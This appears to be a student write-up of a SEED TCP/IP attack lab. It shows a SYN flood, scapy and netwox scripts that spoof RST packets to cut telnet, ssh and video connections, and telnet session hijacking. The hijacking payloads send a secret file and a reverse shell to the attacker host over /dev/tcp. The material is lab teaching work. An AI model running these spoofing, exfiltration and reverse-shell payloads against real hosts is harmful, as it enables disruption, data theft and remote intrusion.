| title | author | date |
|---|---|---|
TCP/IP Attack Lab |
Xinyi Li |
\today{} |
Instruction: https://seedsecuritylabs.org/Labs_16.04/PDF/TCP_Attacks.pdf
Set up 3 VMs:
- Server:
10.0.2.4 - Attacker:
10.0.2.15 - User:
10.0.2.5
First, on the server, turn off the countermeasure SYN cookies
sudo sysctl -w net.ipv4.tcp_syncookies=0
$sudo sysctl -q net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 128Use netstat -na, get:
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN
tcp 0 0 10.0.2.4:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::53 :::* LISTEN
tcp6 0 0 :::21 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::3128 :::* LISTEN
tcp6 0 0 ::1:953 :::* LISTEN
udp 0 0 0.0.0.0:56869 0.0.0.0:*
udp 0 0 0.0.0.0:60971 0.0.0.0:*
udp 0 0 127.0.1.1:53 0.0.0.0:*
udp 0 0 10.0.2.4:53 0.0.0.0:*
udp 0 0 0.0.0.0:33333 0.0.0.0:*
udp 0 0 127.0.0.1:53 0.0.0.0:*
udp 0 0 0.0.0.0:68 0.0.0.0:*
udp 0 0 0.0.0.0:631 0.0.0.0:*
udp 0 0 0.0.0.0:5353 0.0.0.0:*
udp6 0 0 ::1:34259 ::1:34202 ESTABLISHED
udp6 0 0 :::53 :::*
udp6 0 0 :::49253 :::*
udp6 0 0 :::5353 :::*
udp6 0 0 ::1:34202 ::1:34259 ESTABLISHED
udp6 0 0 :::43932 :::*
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw6 0 0 :::58 :::* 7
raw6 0 0 :::58 :::* 7
No TCP connection has an ESTABLISHED state yet.
Then on the attacker machine:
sudo netwox 76 -i 10.0.2.4 -p 23 -s raw
After a while, use netstat -na to check again:
...
tcp 0 0 10.0.2.4:23 253.37.9.90:29644 SYN_RECV
tcp 0 0 10.0.2.4:23 248.147.173.48:53909 SYN_RECV
tcp 0 0 10.0.2.4:23 247.46.89.105:7502 SYN_RECV
tcp 0 0 10.0.2.4:23 243.229.203.189:42333 SYN_RECV
tcp 0 0 10.0.2.4:23 246.244.53.206:57787 SYN_RECV
tcp 0 0 10.0.2.4:23 249.102.12.251:24453 SYN_RECV
tcp 0 0 10.0.2.4:23 244.176.157.55:49031 SYN_RECV
tcp 0 0 10.0.2.4:23 247.2.21.131:10590 SYN_RECV
tcp 0 0 10.0.2.4:23 246.91.154.140:20177 SYN_RECV
tcp 0 0 10.0.2.4:23 248.79.118.252:19283 SYN_RECV
tcp 0 0 10.0.2.4:23 244.80.239.198:32419 SYN_RECV
tcp 0 0 10.0.2.4:23 242.210.141.208:16979 SYN_RECV
tcp 0 0 10.0.2.4:23 253.118.208.122:16242 SYN_RECV
tcp 0 0 10.0.2.4:23 250.62.104.1:59169 SYN_RECV
tcp 0 0 10.0.2.4:23 253.106.167.210:45412 SYN_RECV
tcp 0 0 10.0.2.4:23 242.127.134.197:2832 SYN_RECV
tcp 0 0 10.0.2.4:23 240.252.233.154:29403 SYN_RECV
tcp 0 0 10.0.2.4:23 244.144.27.104:39086 SYN_RECV
tcp 0 0 10.0.2.4:23 245.46.194.239:65426 SYN_RECV
tcp 0 0 10.0.2.4:23 252.95.20.253:54774 SYN_RECV
tcp 0 0 10.0.2.4:23 249.17.43.156:55525 SYN_RECV
tcp 0 0 10.0.2.4:23 252.217.188.194:13813 SYN_RECV
tcp 0 0 10.0.2.4:23 243.100.186.129:23679 SYN_RECV
tcp 0 0 10.0.2.4:23 244.56.4.56:17826 SYN_RECV
tcp 0 0 10.0.2.4:23 245.8.59.84:53947 SYN_RECV
tcp 0 0 10.0.2.4:23 253.88.152.41:26808 SYN_RECV
...
There are plenty of SYN_RECV-state (i.e. half-open) TCP connections targeting 10.0.2.4:23 from random source IP addresses. The server seems to be overwhelmed.
Meanwhile, if you attempt to telnet the server machine from the user machine, it will show:
First, on the user machine, launch a telnet request to the server:
telnet 10.0.2.4
A prompt asks you to give a username.Just hold on without typing anything.
When implementing the attack by netwox command, simply use such a command on the attacker machine:
sudo netwox 78 -i 10.0.2.4
Then type any letter on the user machine. As I explained in Packet Sniffing and Spoofing Lab, a telnet message is sent once getting a letter. After that, it keeps listening for any response from the server. Since I spoof an RST packet from the server to the user, which received by the listening user and informed that the connection has terminated. So when a letter is pressed, a closed connection message shows:
Note: The login-in time window is too short. you should launch the attack as quickly as possible, or the login in prompt will be timed out after 60s. Therefore, in this task, you can finish the login-in process to observe the attack.
If you want to use a Python script with scapy module to spoof the RST packet. First, you should sniff the last TCP(or telnet) packet from the server to the user by Wireshark on the attack machine:
For example:
The packet's TCP header:
Transmission Control Protocol, Src Port: 23, Dst Port: 59498, Seq: 199921802, Ack: 1577076274, Len: 1 Source Port: 23 Destination Port: 59498 [Stream index: 0] [TCP Segment Len: 1] Sequence number: 199921802 [Next sequence number: 199921803] Acknowledgment number: 1577076274 Header Length: 32 bytes Flags: 0x018 (PSH, ACK) Window size value: 227 [Calculated window size: 29056] [Window size scaling factor: 128] Checksum: 0x953c [unverified] [Checksum Status: Unverified] Urgent pointer: 0 Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps [SEQ/ACK analysis]
Fill out the critical fields of the spoofed packet and send it using the codes in rst_telent.py below:
from scapy.all import *
ip = IP(src="10.0.2.4", dst="10.0.2.5")
tcp = TCP(sport=23, dport=59498, flags="R", seq=199921803, ack=1577076274)
pkt = ip / tcp
ls(pkt)
send(pkt, verbose=0)On the attacker machine, execute it with root privilege:
sudo python rst_telnet.py
Immediately, on the user machine, you can find the connection is terminated.
The only difference between the two tasks is the port number: 23 for telnet, while 22 for ssh.
Build ssh connection on the user machine:
ssh seed@10.0.2.4
Note: If it is the first time you
sshthe server on your local machine, it may ask you if the RSA public key can be added. Please type 'yes' and then type the password of usernameseed.
Similar to the one on telnet, Use the same commnad:
sudo netwox 78 -i 10.0.2.4
Then on the user machine after pressing anything you will get:
Similar to the one on telnet, Capture the last ssh packet from the server to the user (applied with filter ssh) using Wireshark on the attacker machine:
Transmission Control Protocol, Src Port: 22, Dst Port: 55494, Seq: 565175980, Ack: 3567039357, Len: 52 Source Port: 22 Destination Port: 55494 [Stream index: 0] [TCP Segment Len: 52] Sequence number: 565175980 [Next sequence number: 565176032] Acknowledgment number: 3567039357 Header Length: 32 bytes Flags: 0x018 (PSH, ACK) Window size value: 291 [Calculated window size: 291] [Window size scaling factor: -1 (unknown)] Checksum: 0x3440 [unverified] [Checksum Status: Unverified] Urgent pointer: 0 Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps [SEQ/ACK analysis]
Although the data is encrypted, the TCP header is simply readable plain-text. Then a spoofed RST packet can be composed and sent with rst_ssh.py:
from scapy.all import *
ip = IP(src="10.0.2.4", dst="10.0.2.5")
tcp = TCP(sport=22, dport=55494, flags="R", seq=565176032, ack=3567039357)
pkt = ip / tcp
ls(pkt)
send(pkt, verbose=0)Turn to the user machine, the ssh connection is broken as expected:
Assume that a user is watching YouTube video from the VM 10.0.2.4 (For better performance, you might clear up local history, data, and cookies of the browser on the user machine). We launch the attack from the attacker machine in the same subnet.
We can run a auto_rst program to spoof an RST packet with proper seq and ack numbers whenever capturing a TCP packet from the user IP.
from scapy.all import *
def spoof_tcp(pkt):
ip = IP(dst="10.0.2.5", src=pkt['IP'].dst)
tcp = TCP(flags="R", seq=pkt['TCP'].ack,
dport=pkt['TCP'].sport, sport=pkt['TCP'].dport)
spoofpkt = ip / tcp
print("send a RST packet")
send(spoofpkt, verbose=0)
pkt=sniff(filter='tcp and src host 10.0.2.5', prn=spoof_tcp)Eventually, no video stream data can be gained from the server. The user cannot see any new video content.
Or simply use netwox tool 78 to automatically reset the TCP connection.
sudo netwox 78 --filter "src host 10.0.2.5"
First, assume the user establishes a telnet connection from the user to the server. There is a secret file /home/seed/secret on the server, if not, just create it.
echo "This is a secret file" > /home/seed/secret
Then, on the attacker machine, prepare a port (e.g. 9090) to get the data:
nc -lv 9090
Encode the payload '\r cat /home/seed/secret > /dev/tcp/10.0.2.15/9090\r' into a hex string:
$ python
Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> '\r cat /home/seed/secret > /dev/tcp/10.0.2.15/9090\r'.encode('HEX')
'0d20636174202f686f6d652f736565642f736563726574203e202f6465762f7463702f31302e302e322e31352f393039300d'
Since the last telnet packet from the server to the user captured by Wireshark is:
Transmission Control Protocol, Src Port: 57640, Dst Port: 23, Seq: 1386528330, Ack: 1227064343, Len: 2 Source Port: 57640 Destination Port: 23 [Stream index: 0] [TCP Segment Len: 2] Sequence number: 1386528330 [Next sequence number: 1386528332] Acknowledgment number: 1227064343 Header Length: 32 bytes Flags: 0x018 (PSH, ACK) Window size value: 237 [Calculated window size: 30336] [Window size scaling factor: 128] Checksum: 0x5fbc [unverified] [Checksum Status: Unverified] Urgent pointer: 0 Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps [SEQ/ACK analysis]
Ref to the [documentation] of netwox tool 40, run such a command with correct parameters on the attacker machine:
sudo netwox 40 -l "10.0.2.5" -m "10.0.2.4" -o 57640 -p 23 -q 1386528332 -E 2000 -r 1227064343 -z -H "0d20636174202f686f6d652f736565642f736563726574203e202f6465762f7463702f31302e302e322e31352f393039300d"
And now we get the content of the secret file on the server:
Similarly, the task can be done with scapy.
Assume the last packet from the user to the server is:
Transmission Control Protocol, Src Port: 57644, Dst Port: 23, Seq: 1727979555, Ack: 435127836, Len: 2 Source Port: 57644 Destination Port: 23 [Stream index: 3] [TCP Segment Len: 2] Sequence number: 1727979555 [Next sequence number: 1727979557] Acknowledgment number: 435127836 Header Length: 32 bytes Flags: 0x018 (PSH, ACK) Window size value: 229 [Calculated window size: 29312] [Window size scaling factor: 128] Checksum: 0xbfe0 [unverified] [Checksum Status: Unverified] Urgent pointer: 0 Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps [SEQ/ACK analysis]
Construct the spoofed packet using sessionhijack.py:
import sys
from scapy.all import *
print("SENDING SESSION HIJACKING PACKET.........")
IPLayer = IP(src="10.0.2.5", dst="10.0.2.4")
TCPLayer = TCP(sport=57644, dport=23, flags="A",
seq=1727979557, ack=435127836)
Data = "\r cat /home/seed/secret > /dev/tcp/10.0.2.15/9090\r"
pkt = IPLayer/TCPLayer/Data
ls(pkt)
send(pkt,verbose=0)It also can steal the secret file:
Note: After a successful attack, the user terminal freezes in the session.
Similar to Task 4, except that the payload should be
\r /bin/bash -i > dev/tcp/10.0.2.15/9090 2>&1 0<&1 \r
to create a reversed shell from the server to the attacker.
So repeat the steps in previously task, to simplify, I just demonstrate with scapy:
As above, capture the last telnet packet from the user to the server using Wireshark:
Transmission Control Protocol, Src Port: 57654, Dst Port: 23, Seq: 1265743785, Ack: 4268626928, Len: 2 Source Port: 57654 Destination Port: 23 [Stream index: 12] [TCP Segment Len: 2] Sequence number: 1265743785 [Next sequence number: 1265743787] Acknowledgment number: 4268626928 Header Length: 32 bytes Flags: 0x018 (PSH, ACK) Window size value: 229 [Calculated window size: 29312] [Window size scaling factor: 128] Checksum: 0x965f [unverified] [Checksum Status: Unverified] Urgent pointer: 0 Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps [SEQ/ACK analysis]
Use Python script to spoof the packet:
import sys
from scapy.all import *
print("SENDING SESSION HIJACKING PACKET.........")
IPLayer = IP(src="10.0.2.5", dst="10.0.2.4")
TCPLayer = TCP(sport=57654, dport=23, flags="A",
seq=1265743787, ack=4268626928)
Data = "\r /bin/bash -i > /dev/tcp/10.0.2.15/9090 2>&1 0<&1 \r"
pkt = IPLayer/TCPLayer/Data
ls(pkt)
send(pkt,verbose=0)Finally, the reverse shell is created successfully:
